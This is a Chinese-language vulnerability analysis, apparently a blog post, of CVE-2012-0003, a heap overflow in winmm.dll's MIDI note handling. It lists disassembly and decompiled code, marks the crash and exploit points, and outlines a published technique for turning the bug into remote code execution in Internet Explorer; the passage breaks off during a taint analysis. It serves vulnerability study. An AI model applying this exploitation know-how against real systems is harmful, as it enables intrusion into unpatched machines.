CVE-2012-0003 漏洞研究

7erry

微软的多媒体库 winmm.dll 中的 midiOutPlayNextPolyEvent 函数在处理 MIDI 文件时对其 Note On 和 Note Off 字段没有做限制,导致可以操纵该字段访问堆块之外的 1 个字节的内存空间,攻击者可利用该堆溢出漏洞在网页中嵌入恶意构造的 MIDI 文件实现 RCE。

影响范围:

Microsoft Windows 7, Windows 7 SP1
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2008 SP2, Windows Server 2008 R2
Microsoft Windows Vista SP2
Microsoft Windows Xp SP2, Windows Xp SP3

MIDI 文件格式

MIDI(Musical Instrument Digital Interface) 文件格式主要用于音乐软件和硬件设备存储歌曲信息,包括标题、曲目名等。一个 MIDI 文件由若干 Chunk 组成,每个 Chunk 包含了 4 字节的 Chunk Type,4 字节的 Data Length 和 Chunk Data,文件内的 Chunk 主要分为 Chunk Type 为 MThd 的 Header Chunk 和 Chunk Type 为 MTrk 的 Track Chunk 两种。

Header Chunk 的 Chunk Data 为 2 字节的 Format Type,2 字节的 Number of Tracks 和 2 字节的 Time Division
Track Chunk 的 Chunk Data 则为音轨事件数据,由个数不定大小不定的音轨事件组成。一个音轨事件 MTrk Event 包含了 Delta-time 和 Event,事件类型包括 Note Off, Note On, Note Aftertouch, Controller, Program Change, Pitch Bend 等,不同的事件类型有着不同的格式

更多细节可参阅Standard MIDI-File Format Spec. 1.1, updated

Advanced Exploitation of Internet Explorer Heap Overflow Vulnerabilities (MS12-004)

这篇博客被删了,因此文末的 Reference 给出的超链接应该查看不了原文,但漏洞战争的附件中有该博客网页 html 文件,可通过查看漏洞战争的附件阅读这篇博客或在 archive.org 中搜索

IE 的 winmm.dll 和 mshtml.dll,或者具体地说 winmm.dll 的 _DllProcessAttach 和 mshtml.dll 的 _DllMainStartup 库函数使用的堆空间都来自于 GetProcessHeap 函数,因此二者使用同一个堆空间,即进程的默认堆。这意味着 winmm.dll 中存在的 CVE-2012-0003 漏洞可以用在 mshtml.dll 中的代码上。事实上,CVE-2012-0003 漏洞可以实现将一个 JS 对象由 String 类型更改为 Object 类型,这样浏览器就会在读取 String 类型对象时将其当作 Object 类型对象进行处理————而 Object 类型的对象在被处理时会根据虚函数指针进行一次函数调用————进而泄露对象的虚函数表或将字符串内容当作虚函数表指针进行引用,以绕过 ASLR/DEP 实现 RCE

漏洞分析

开启 hpa 调试运行浏览器并打开样本,浏览器将在用户允许运行 ActiveX 控件后因 ESI 指向堆外不可读地址触发 Access Violation 异常而崩溃。查看函数调用栈发现崩溃函数位于 WINMM.DLL 中。使用 IDA 打开 winmm.dll 文件时可一键从微软符号表服务器处下载符号表,根据调试时得到的偏移地址 76B2D038 定位到 winmm.dll 文件中的 midiOutPlayNextPolyEvent 函数,其汇编代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
.text:76B2D038
.text:76B2D038 ; =============== S U B R O U T I N E =======================================
.text:76B2D038
.text:76B2D038 ; Attributes: bp-based frame
.text:76B2D038
.text:76B2D038 ; int __stdcall midiOutPlayNextPolyEvent(WPARAM wParam)
.text:76B2D038 _midiOutPlayNextPolyEvent@4 proc near ; CODE XREF: midiOutTimerTick(x,x,x,x,x)+4A↓p
.text:76B2D038
.text:76B2D038 var_14= dword ptr -14h
.text:76B2D038 var_10= dword ptr -10h
.text:76B2D038 hmo= dword ptr -0Ch
.text:76B2D038 var_8= dword ptr -8
.text:76B2D038 var_1= byte ptr -1
.text:76B2D038 wParam= dword ptr 8
.text:76B2D038
.text:76B2D038 8B FF mov edi, edi
.text:76B2D03A 55 push ebp
.text:76B2D03B 8B EC mov ebp, esp
.text:76B2D03D 83 EC 14 sub esp, 14h
.text:76B2D040 57 push edi
.text:76B2D041 8B 7D 08 mov edi, [ebp+wParam]
.text:76B2D044 83 7F 34 00 cmp dword ptr [edi+34h], 0
.text:76B2D048 0F 85 3E 02 00 00 jnz loc_76B2D28C
.text:76B2D048
.text:76B2D04E 53 push ebx
.text:76B2D04F 56 push esi
.text:76B2D04F
.text:76B2D050
.text:76B2D050 loc_76B2D050: ; CODE XREF: midiOutPlayNextPolyEvent(x)+33↓j
.text:76B2D050 ; midiOutPlayNextPolyEvent(x)+24C↓j
.text:76B2D050 8B 77 3C mov esi, [edi+3Ch]
.text:76B2D053 85 F6 test esi, esi
.text:76B2D055 0F 84 2F 02 00 00 jz loc_76B2D28A
.text:76B2D055
.text:76B2D05B 57 push edi
.text:76B2D05C E8 29 FA FF FF call _midiOutScheduleNextEvent@4 ; midiOutScheduleNextEvent(x)
.text:76B2D05C
.text:76B2D061 85 C0 test eax, eax
.text:76B2D063 75 08 jnz short loc_76B2D06D
.text:76B2D063
.text:76B2D065 57 push edi ; wParam
.text:76B2D066 E8 5C FA FF FF call _midiOutDequeueAndCallback@4 ; midiOutDequeueAndCallback(x)
.text:76B2D066
.text:76B2D06B EB E3 jmp short loc_76B2D050
.text:76B2D06B
.text:76B2D06D ; ---------------------------------------------------------------------------
.text:76B2D06D
.text:76B2D06D loc_76B2D06D: ; CODE XREF: midiOutPlayNextPolyEvent(x)+2B↑j
.text:76B2D06D 8B 0E mov ecx, [esi]
.text:76B2D06F 8B 46 24 mov eax, [esi+24h]
.text:76B2D072 8B 04 01 mov eax, [ecx+eax]
.text:76B2D075 8B 57 7C mov edx, [edi+7Ch]
.text:76B2D078 03 C2 add eax, edx
.text:76B2D07A 3B 87 80 00 00 00 cmp eax, [edi+80h]
.text:76B2D080 89 4D 08 mov [ebp+wParam], ecx
.text:76B2D083 89 47 74 mov [edi+74h], eax
.text:76B2D086 0F 8F FE 01 00 00 jg loc_76B2D28A
.text:76B2D086
.text:76B2D08C 8B 56 24 mov edx, [esi+24h]
.text:76B2D08F 89 47 7C mov [edi+7Ch], eax
.text:76B2D092 83 46 24 04 add dword ptr [esi+24h], 4
.text:76B2D096 8B 5E 24 mov ebx, [esi+24h]
.text:76B2D099 8B 0C 0B mov ecx, [ebx+ecx]
.text:76B2D09C 51 push ecx
.text:76B2D09D 83 C3 04 add ebx, 4
.text:76B2D0A0 57 push edi
.text:76B2D0A1 89 55 F0 mov [ebp+var_10], edx
.text:76B2D0A4 89 4D EC mov [ebp+var_14], ecx
.text:76B2D0A7 89 5E 24 mov [esi+24h], ebx
.text:76B2D0AA E8 48 F7 FF FF call _mseIDtoHMidi@8 ; mseIDtoHMidi(x,x)
.text:76B2D0AA
.text:76B2D0AF 89 45 F4 mov [ebp+hmo], eax
.text:76B2D0B2 8B 45 08 mov eax, [ebp+wParam]
.text:76B2D0B5 8B 0C 03 mov ecx, [ebx+eax]
.text:76B2D0B8 83 C3 04 add ebx, 4
.text:76B2D0BB 8B C1 mov eax, ecx
.text:76B2D0BD 89 5E 24 mov [esi+24h], ebx
.text:76B2D0C0 C1 E8 18 shr eax, 18h
.text:76B2D0C3 81 E1 FF FF FF 00 and ecx, 0FFFFFFh
.text:76B2D0C9 33 DB xor ebx, ebx
.text:76B2D0CB 39 5D F4 cmp [ebp+hmo], ebx
.text:76B2D0CE 88 45 0B mov byte ptr [ebp+wParam+3], al
.text:76B2D0D1 89 4D F8 mov [ebp+var_8], ecx
.text:76B2D0D4 74 2A jz short loc_76B2D100
.text:76B2D0D4
.text:76B2D0D6 A8 40 test al, 40h
.text:76B2D0D8 74 26 jz short loc_76B2D100
.text:76B2D0D8
.text:76B2D0DA 8B 45 F0 mov eax, [ebp+var_10]
.text:76B2D0DD 53 push ebx ; dwParam2
.text:76B2D0DE 56 push esi ; dwParam1
.text:76B2D0DF 89 46 1C mov [esi+1Ch], eax
.text:76B2D0E2 FF 77 4C push dword ptr [edi+4Ch] ; dwUser
.text:76B2D0E5 0F B7 47 4A movzx eax, word ptr [edi+4Ah]
.text:76B2D0E9 68 CA 03 00 00 push 3CAh ; dwMsg
.text:76B2D0EE FF 77 04 push dword ptr [edi+4] ; hDevice
.text:76B2D0F1 50 push eax ; dwFlags
.text:76B2D0F2 FF 77 44 push dword ptr [edi+44h] ; dwCallback
.text:76B2D0F5 E8 9F 83 FE FF call _DriverCallback@28 ; DriverCallback(x,x,x,x,x,x,x)
.text:76B2D0F5
.text:76B2D0FA 8A 45 0B mov al, byte ptr [ebp+wParam+3]
.text:76B2D0FD 8B 4D F8 mov ecx, [ebp+var_8]
.text:76B2D0FD
.text:76B2D100
.text:76B2D100 loc_76B2D100: ; CODE XREF: midiOutPlayNextPolyEvent(x)+9C↑j
.text:76B2D100 ; midiOutPlayNextPolyEvent(x)+A0↑j
.text:76B2D100 24 BF and al, 0BFh
.text:76B2D102 0F B6 D0 movzx edx, al
.text:76B2D105 2B D3 sub edx, ebx
.text:76B2D107 0F 84 A9 00 00 00 jz loc_76B2D1B6
.text:76B2D107
.text:76B2D10D 4A dec edx
.text:76B2D10E 0F 84 91 00 00 00 jz loc_76B2D1A5
.text:76B2D10E
.text:76B2D114 83 EA 7F sub edx, 7Fh
.text:76B2D117 74 16 jz short loc_76B2D12F
.text:76B2D117
.text:76B2D119 84 C0 test al, al
.text:76B2D11B 0F 89 55 01 00 00 jns loc_76B2D276
.text:76B2D11B
.text:76B2D121 83 C1 03 add ecx, 3
.text:76B2D124 83 E1 FC and ecx, 0FFFFFFFCh
.text:76B2D127 01 4E 24 add [esi+24h], ecx
.text:76B2D12A E9 47 01 00 00 jmp loc_76B2D276
.text:76B2D12A
.text:76B2D12F ; ---------------------------------------------------------------------------
.text:76B2D12F
.text:76B2D12F loc_76B2D12F: ; CODE XREF: midiOutPlayNextPolyEvent(x)+DF↑j
.text:76B2D12F 83 C1 03 add ecx, 3
.text:76B2D132 83 E1 FC and ecx, 0FFFFFFFCh
.text:76B2D135 01 4E 24 add [esi+24h], ecx
.text:76B2D138 33 C9 xor ecx, ecx
.text:76B2D13A 41 inc ecx
.text:76B2D13B 83 7D EC FF cmp [ebp+var_14], 0FFFFFFFFh
.text:76B2D13F 8B C1 mov eax, ecx
.text:76B2D141 75 06 jnz short loc_76B2D149
.text:76B2D141
.text:76B2D143 8B 87 8C 00 00 00 mov eax, [edi+8Ch]
.text:76B2D143
.text:76B2D149
.text:76B2D149 loc_76B2D149: ; CODE XREF: midiOutPlayNextPolyEvent(x)+109↑j
.text:76B2D149 8B 5E 18 mov ebx, [esi+18h]
.text:76B2D14C 83 A7 88 00 00 00 00 and dword ptr [edi+88h], 0
.text:76B2D153 83 4F 08 20 or dword ptr [edi+8], 20h
.text:76B2D157 85 C0 test eax, eax
.text:76B2D159 89 4F 34 mov [edi+34h], ecx
.text:76B2D15C 74 31 jz short loc_76B2D18F
.text:76B2D15C
.text:76B2D15E 89 45 08 mov [ebp+wParam], eax
.text:76B2D15E
.text:76B2D161
.text:76B2D161 loc_76B2D161: ; CODE XREF: midiOutPlayNextPolyEvent(x)+155↓j
.text:76B2D161 8B 73 04 mov esi, [ebx+4]
.text:76B2D164 8D 46 40 lea eax, [esi+40h]
.text:76B2D167 89 43 04 mov [ebx+4], eax
.text:76B2D16A FF 76 20 push dword ptr [esi+20h]
.text:76B2D16D 57 push edi
.text:76B2D16E E8 84 F6 FF FF call _mseIDtoHMidi@8 ; mseIDtoHMidi(x,x)
.text:76B2D16E
.text:76B2D173 85 C0 test eax, eax
.text:76B2D175 74 13 jz short loc_76B2D18A
.text:76B2D175
.text:76B2D177 6A 40 push 40h ; '@' ; cbmh
.text:76B2D179 56 push esi ; pmh
.text:76B2D17A 50 push eax ; hmo
.text:76B2D17B E8 39 C0 FF FF call _midiOutLongMsg@12 ; midiOutLongMsg(x,x,x)
.text:76B2D17B
.text:76B2D180 85 C0 test eax, eax
.text:76B2D182 75 06 jnz short loc_76B2D18A
.text:76B2D182
.text:76B2D184 FF 87 88 00 00 00 inc dword ptr [edi+88h]
.text:76B2D184
.text:76B2D18A
.text:76B2D18A loc_76B2D18A: ; CODE XREF: midiOutPlayNextPolyEvent(x)+13D↑j
.text:76B2D18A ; midiOutPlayNextPolyEvent(x)+14A↑j
.text:76B2D18A FF 4D 08 dec [ebp+wParam]
.text:76B2D18D 75 D2 jnz short loc_76B2D161
.text:76B2D18D
.text:76B2D18F
.text:76B2D18F loc_76B2D18F: ; CODE XREF: midiOutPlayNextPolyEvent(x)+124↑j
.text:76B2D18F 83 BF 88 00 00 00 00 cmp dword ptr [edi+88h], 0
.text:76B2D196 75 04 jnz short loc_76B2D19C
.text:76B2D196
.text:76B2D198 83 67 34 00 and dword ptr [edi+34h], 0
.text:76B2D198
.text:76B2D19C
.text:76B2D19C loc_76B2D19C: ; CODE XREF: midiOutPlayNextPolyEvent(x)+15E↑j
.text:76B2D19C 83 67 08 DF and dword ptr [edi+8], 0FFFFFFDFh
.text:76B2D1A0 E9 D1 00 00 00 jmp loc_76B2D276
.text:76B2D1A0
.text:76B2D1A5 ; ---------------------------------------------------------------------------
.text:76B2D1A5
.text:76B2D1A5 loc_76B2D1A5: ; CODE XREF: midiOutPlayNextPolyEvent(x)+D6↑j
.text:76B2D1A5 FF 77 7C push dword ptr [edi+7Ch]
.text:76B2D1A8 89 4F 30 mov [edi+30h], ecx
.text:76B2D1AB 57 push edi
.text:76B2D1AC E8 73 F8 FF FF call _midiOutSetClockRate@8 ; midiOutSetClockRate(x,x)
.text:76B2D1AC
.text:76B2D1B1 E9 C0 00 00 00 jmp loc_76B2D276
.text:76B2D1B1
.text:76B2D1B6 ; ---------------------------------------------------------------------------
.text:76B2D1B6
.text:76B2D1B6 loc_76B2D1B6: ; CODE XREF: midiOutPlayNextPolyEvent(x)+CF↑j
.text:76B2D1B6 39 5D F4 cmp [ebp+hmo], ebx
.text:76B2D1B9 8B B7 84 00 00 00 mov esi, [edi+84h]
.text:76B2D1BF 0F 84 B1 00 00 00 jz loc_76B2D276
.text:76B2D1BF
.text:76B2D1C5 84 C9 test cl, cl
.text:76B2D1C7 8A C1 mov al, cl
.text:76B2D1C9 8B D9 mov ebx, ecx
.text:76B2D1CB 78 16 js short loc_76B2D1E3
.text:76B2D1CB
.text:76B2D1CD 8A 47 54 mov al, [edi+54h]
.text:76B2D1D0 88 4D 0B mov byte ptr [ebp+wParam+3], cl
.text:76B2D1D3 0F B6 D0 movzx edx, al
.text:76B2D1D6 C1 E1 08 shl ecx, 8
.text:76B2D1D9 C1 EB 08 shr ebx, 8
.text:76B2D1DC 0B CA or ecx, edx
.text:76B2D1DE 89 4D F8 mov [ebp+var_8], ecx
.text:76B2D1E1 EB 0E jmp short loc_76B2D1F1
.text:76B2D1E1
.text:76B2D1E3 ; ---------------------------------------------------------------------------
.text:76B2D1E3
.text:76B2D1E3 loc_76B2D1E3: ; CODE XREF: midiOutPlayNextPolyEvent(x)+193↑j
.text:76B2D1E3 8B D1 mov edx, ecx
.text:76B2D1E5 C1 EA 08 shr edx, 8
.text:76B2D1E8 88 4F 54 mov [edi+54h], cl
.text:76B2D1EB 88 55 0B mov byte ptr [ebp+wParam+3], dl
.text:76B2D1EE C1 EB 10 shr ebx, 10h
.text:76B2D1EE
.text:76B2D1F1
.text:76B2D1F1 loc_76B2D1F1: ; CODE XREF: midiOutPlayNextPolyEvent(x)+1A9↑j
.text:76B2D1F1 8A D0 mov dl, al
.text:76B2D1F3 80 E2 F0 and dl, 0F0h
.text:76B2D1F6 80 FA 90 cmp dl, 90h
.text:76B2D1F9 88 55 FF mov [ebp+var_1], dl
.text:76B2D1FC 74 05 jz short loc_76B2D203
.text:76B2D1FC
.text:76B2D1FE 80 FA 80 cmp dl, 80h
.text:76B2D201 75 5C jnz short loc_76B2D25F
.text:76B2D201
.text:76B2D203
.text:76B2D203 loc_76B2D203: ; CODE XREF: midiOutPlayNextPolyEvent(x)+1C4↑j
.text:76B2D203 0F B6 55 0B movzx edx, byte ptr [ebp+wParam+3]
.text:76B2D207 83 E0 0F and eax, 0Fh
.text:76B2D20A C1 E0 07 shl eax, 7
.text:76B2D20D 03 C2 add eax, edx
.text:76B2D20F 99 cdq
.text:76B2D210 2B C2 sub eax, edx
.text:76B2D212 D1 F8 sar eax, 1
.text:76B2D214 80 7D FF 80 cmp [ebp+var_1], 80h
.text:76B2D218 74 2A jz short loc_76B2D244
.text:76B2D218
.text:76B2D21A 84 DB test bl, bl
.text:76B2D21C 74 26 jz short loc_76B2D244
.text:76B2D21C
.text:76B2D21E 03 F0 add esi, eax
.text:76B2D220 F6 45 0B 01 test byte ptr [ebp+wParam+3], 1
.text:76B2D224 8A 06 mov al, [esi]
.text:76B2D226 8A D0 mov dl, al
.text:76B2D228 74 0C jz short loc_76B2D236
.text:76B2D228
.text:76B2D22A 80 E2 F0 and dl, 0F0h
.text:76B2D22D 80 FA F0 cmp dl, 0F0h
.text:76B2D230 74 2D jz short loc_76B2D25F
.text:76B2D230
.text:76B2D232 04 10 add al, 10h
.text:76B2D234 EB 0A jmp short loc_76B2D240
.text:76B2D234
.text:76B2D236 ; ---------------------------------------------------------------------------
.text:76B2D236
.text:76B2D236 loc_76B2D236: ; CODE XREF: midiOutPlayNextPolyEvent(x)+1F0↑j
.text:76B2D236 80 E2 0F and dl, 0Fh
.text:76B2D239 80 FA 0F cmp dl, 0Fh
.text:76B2D23C 74 21 jz short loc_76B2D25F
.text:76B2D23C
.text:76B2D23E FE C0 inc al
.text:76B2D23E
.text:76B2D240
.text:76B2D240 loc_76B2D240: ; CODE XREF: midiOutPlayNextPolyEvent(x)+1FC↑j
.text:76B2D240 88 06 mov [esi], al
.text:76B2D242 EB 1B jmp short loc_76B2D25F
.text:76B2D242
.text:76B2D244 ; ---------------------------------------------------------------------------
.text:76B2D244
.text:76B2D244 loc_76B2D244: ; CODE XREF: midiOutPlayNextPolyEvent(x)+1E0↑j
.text:76B2D244 ; midiOutPlayNextPolyEvent(x)+1E4↑j
.text:76B2D244 F6 45 0B 01 test byte ptr [ebp+wParam+3], 1
.text:76B2D248 8D 14 30 lea edx, [eax+esi]
.text:76B2D24B 8A 02 mov al, [edx]
.text:76B2D24D 74 08 jz short loc_76B2D257
.text:76B2D24D
.text:76B2D24F A8 F0 test al, 0F0h
.text:76B2D251 74 0C jz short loc_76B2D25F
.text:76B2D251
.text:76B2D253 2C 10 sub al, 10h
.text:76B2D255 EB 06 jmp short loc_76B2D25D
.text:76B2D255
.text:76B2D257 ; ---------------------------------------------------------------------------
.text:76B2D257
.text:76B2D257 loc_76B2D257: ; CODE XREF: midiOutPlayNextPolyEvent(x)+215↑j
.text:76B2D257 A8 0F test al, 0Fh
.text:76B2D259 74 04 jz short loc_76B2D25F
.text:76B2D259
.text:76B2D25B FE C8 dec al
.text:76B2D25B
.text:76B2D25D
.text:76B2D25D loc_76B2D25D: ; CODE XREF: midiOutPlayNextPolyEvent(x)+21D↑j
.text:76B2D25D 88 02 mov [edx], al
.text:76B2D25D
.text:76B2D25F
.text:76B2D25F loc_76B2D25F: ; CODE XREF: midiOutPlayNextPolyEvent(x)+1C9↑j
.text:76B2D25F ; midiOutPlayNextPolyEvent(x)+1F8↑j
.text:76B2D25F ; midiOutPlayNextPolyEvent(x)+204↑j
.text:76B2D25F ; midiOutPlayNextPolyEvent(x)+20A↑j
.text:76B2D25F ; midiOutPlayNextPolyEvent(x)+219↑j
.text:76B2D25F ; midiOutPlayNextPolyEvent(x)+221↑j
.text:76B2D25F 51 push ecx ; dwMsg
.text:76B2D260 FF 75 F4 push [ebp+hmo] ; hmo
.text:76B2D263 E8 CA BE FF FF call _midiOutShortMsg@8 ; midiOutShortMsg(x,x)
.text:76B2D263
.text:76B2D268 EB 0C jmp short loc_76B2D276
.text:76B2D268
.text:76B2D26A ; ---------------------------------------------------------------------------
.text:76B2D26A
.text:76B2D26A loc_76B2D26A: ; CODE XREF: midiOutPlayNextPolyEvent(x)+246↓j
.text:76B2D26A 57 push edi ; wParam
.text:76B2D26B E8 57 F8 FF FF call _midiOutDequeueAndCallback@4 ; midiOutDequeueAndCallback(x)
.text:76B2D26B
.text:76B2D270 83 7F 3C 00 cmp dword ptr [edi+3Ch], 0
.text:76B2D274 74 0A jz short loc_76B2D280
.text:76B2D274
.text:76B2D276
.text:76B2D276 loc_76B2D276: ; CODE XREF: midiOutPlayNextPolyEvent(x)+E3↑j
.text:76B2D276 ; midiOutPlayNextPolyEvent(x)+F2↑j
.text:76B2D276 ; midiOutPlayNextPolyEvent(x)+168↑j
.text:76B2D276 ; midiOutPlayNextPolyEvent(x)+179↑j
.text:76B2D276 ; midiOutPlayNextPolyEvent(x)+187↑j
.text:76B2D276 ; midiOutPlayNextPolyEvent(x)+230↑j
.text:76B2D276 57 push edi
.text:76B2D277 E8 0E F8 FF FF call _midiOutScheduleNextEvent@4 ; midiOutScheduleNextEvent(x)
.text:76B2D277
.text:76B2D27C 85 C0 test eax, eax
.text:76B2D27E 74 EA jz short loc_76B2D26A
.text:76B2D27E
.text:76B2D280
.text:76B2D280 loc_76B2D280: ; CODE XREF: midiOutPlayNextPolyEvent(x)+23C↑j
.text:76B2D280 83 7F 34 00 cmp dword ptr [edi+34h], 0
.text:76B2D284 0F 84 C6 FD FF FF jz loc_76B2D050
.text:76B2D284
.text:76B2D28A
.text:76B2D28A loc_76B2D28A: ; CODE XREF: midiOutPlayNextPolyEvent(x)+1D↑j
.text:76B2D28A ; midiOutPlayNextPolyEvent(x)+4E↑j
.text:76B2D28A 5E pop esi
.text:76B2D28B 5B pop ebx
.text:76B2D28B
.text:76B2D28C
.text:76B2D28C loc_76B2D28C: ; CODE XREF: midiOutPlayNextPolyEvent(x)+10↑j
.text:76B2D28C 5F pop edi
.text:76B2D28D C9 leave
.text:76B2D28E C2 04 00 retn 4
.text:76B2D28E
.text:76B2D28E _midiOutPlayNextPolyEvent@4 endp
.text:76B2D28E
.text:76B2D28E ; ----------------------------------------------------------------------

反编译得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
void __stdcall midiOutPlayNextPolyEvent(WPARAM wParam)
{
WPARAM *v2; // esi
WPARAM v3; // ecx
int v4; // eax
bool v5; // cc
WPARAM v6; // edx
WPARAM v7; // ebx
unsigned int v8; // ecx
unsigned int v9; // eax
unsigned int v10; // ecx
char v11; // al
int v12; // eax
WPARAM v13; // ebx
struct midihdr_tag *v14; // esi
HMIDIOUT v15; // eax
int v16; // esi
unsigned __int8 v17; // al
unsigned int v18; // ebx
int v19; // eax
char *v20; // esi
char v21; // al
char v22; // dl
char v23; // al
_BYTE *v24; // edx
char v25; // al
char v26; // al
int v27; // [esp-Ch] [ebp-24h]
int v28; // [esp-Ch] [ebp-24h]
int v29; // [esp+4h] [ebp-14h]
WPARAM v30; // [esp+8h] [ebp-10h]
HMIDIOUT hmo; // [esp+Ch] [ebp-Ch]
unsigned int v32; // [esp+10h] [ebp-8h]
char v33; // [esp+17h] [ebp-1h]
WPARAM wParama; // [esp+20h] [ebp+8h]
WPARAM wParamb; // [esp+20h] [ebp+8h]
char wParam_3; // [esp+23h] [ebp+Bh]
unsigned __int8 wParam_3a; // [esp+23h] [ebp+Bh]

if ( !*(_DWORD *)(wParam + 52) )
{
while ( 1 )
{
while ( 1 )
{
v2 = *(WPARAM **)(wParam + 60);
if ( !v2 )
return;
if ( midiOutScheduleNextEvent(wParam) )
break;
midiOutDequeueAndCallback(wParam);
}
v3 = *v2;
v4 = *(_DWORD *)(wParam + 124) + *(_DWORD *)(*v2 + v2[9]);
v5 = v4 <= *(_DWORD *)(wParam + 128);
wParama = *v2;
*(_DWORD *)(wParam + 116) = v4;
if ( !v5 )
return;
v6 = v2[9];
*(_DWORD *)(wParam + 124) = v4;
v2[9] += 4;
v7 = v2[9];
v27 = *(_DWORD *)(v7 + v3);
v7 += 4;
v30 = v6;
v29 = v27;
v2[9] = v7;
hmo = (HMIDIOUT)mseIDtoHMidi(wParam, v27);
v8 = *(_DWORD *)(v7 + wParama);
v2[9] = v7 + 4;
v9 = HIBYTE(v8);
v10 = v8 & 0xFFFFFF;
wParam_3 = v9;
v32 = v10;
if ( hmo && (v9 & 0x40) != 0 )
{
v2[7] = v30;
DriverCallback(
*(_DWORD *)(wParam + 68),
*(unsigned __int16 *)(wParam + 74),
*(HDRVR *)(wParam + 4),
0x3CAu,
*(_DWORD *)(wParam + 76),
(DWORD_PTR)v2,
0);
LOBYTE(v9) = wParam_3;
v10 = v32;
}
v11 = v9 & 0xBF;
if ( v11 )
{
if ( v11 == 1 )
{
v28 = *(_DWORD *)(wParam + 124);
*(_DWORD *)(wParam + 48) = v10;
midiOutSetClockRate(wParam, v28);
}
else if ( (unsigned __int8)v11 == 128 )
{
v2[9] += (v10 + 3) & 0xFFFFFFFC;
v12 = 1;
if ( v29 == -1 )
v12 = *(_DWORD *)(wParam + 140);
v13 = v2[6];
*(_DWORD *)(wParam + 136) = 0;
*(_DWORD *)(wParam + 8) |= 0x20u;
*(_DWORD *)(wParam + 52) = 1;
if ( v12 )
{
wParamb = v12;
do
{
v14 = *(struct midihdr_tag **)(v13 + 4);
*(_DWORD *)(v13 + 4) = v14 + 1;
v15 = (HMIDIOUT)mseIDtoHMidi(wParam, v14->dwReserved[0]);
if ( v15 && !midiOutLongMsg(v15, v14, 0x40u) )
++*(_DWORD *)(wParam + 136);
--wParamb;
}
while ( wParamb );
}
if ( !*(_DWORD *)(wParam + 136) )
*(_DWORD *)(wParam + 52) = 0;
*(_DWORD *)(wParam + 8) &= ~0x20u;
}
else if ( v11 < 0 )
{
v2[9] += (v10 + 3) & 0xFFFFFFFC;
}
goto LABEL_48;
}
v16 = *(_DWORD *)(wParam + 132);
if ( hmo )
break;
do
{
LABEL_48:
if ( midiOutScheduleNextEvent(wParam) )
break;
midiOutDequeueAndCallback(wParam);
}
while ( *(_DWORD *)(wParam + 60) );
if ( *(_DWORD *)(wParam + 52) )
return;
}
v17 = v10;
if ( (v10 & 0x80u) != 0 )
{
*(_BYTE *)(wParam + 84) = v10;
wParam_3a = BYTE1(v10);
v18 = HIWORD(v10);
}
else
{
v17 = *(_BYTE *)(wParam + 84);
wParam_3a = v10;
v18 = v10 >> 8;
v10 = v17 | (v10 << 8);
}
v33 = v17 & 0xF0;
if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 )
{
v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;
if ( v33 == (char)0x80 || !(_BYTE)v18 )
{
v24 = (_BYTE *)(v19 + v16);
v25 = *(_BYTE *)(v19 + v16);
if ( (wParam_3a & 1) != 0 )
{
if ( (v25 & 0xF0) == 0 )
goto LABEL_46;
v26 = v25 - 16;
}
else
{
if ( (v25 & 0xF) == 0 )
goto LABEL_46;
v26 = v25 - 1;
}
*v24 = v26;
goto LABEL_46;
}
v20 = (char *)(v19 + v16);
v21 = *v20; //! Crash Point
v22 = *v20;
if ( (wParam_3a & 1) != 0 )
{
if ( (v22 & 0xF0) != 0xF0 )
{
v23 = v21 + 16;
LABEL_39:
*v20 = v23; //! Exploit Point
}
}
else if ( (v22 & 0xF) != 15 )
{
v23 = v21 + 1; //! Exploit Point
goto LABEL_39;
}
}
LABEL_46:
midiOutShortMsg(hmo, v10);
goto LABEL_48;
}
}

异常发生在

1
2
v20 = (char *)(v19 + v16);
v21 = *v20; //! Crash Point

以 Crash Point 处的变量 v20 作为污点汇聚点,对函数进行后向分析得到的污点传播路径如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void __stdcall midiOutPlayNextPolyEvent(WPARAM wParam) {
if ( !*(_DWORD *)(wParam + 52) ) {
while ( 1 ) {
while ( 1 ) {
v2 = *(WPARAM **)(wParam + 60);
if ( !v2 )
return;
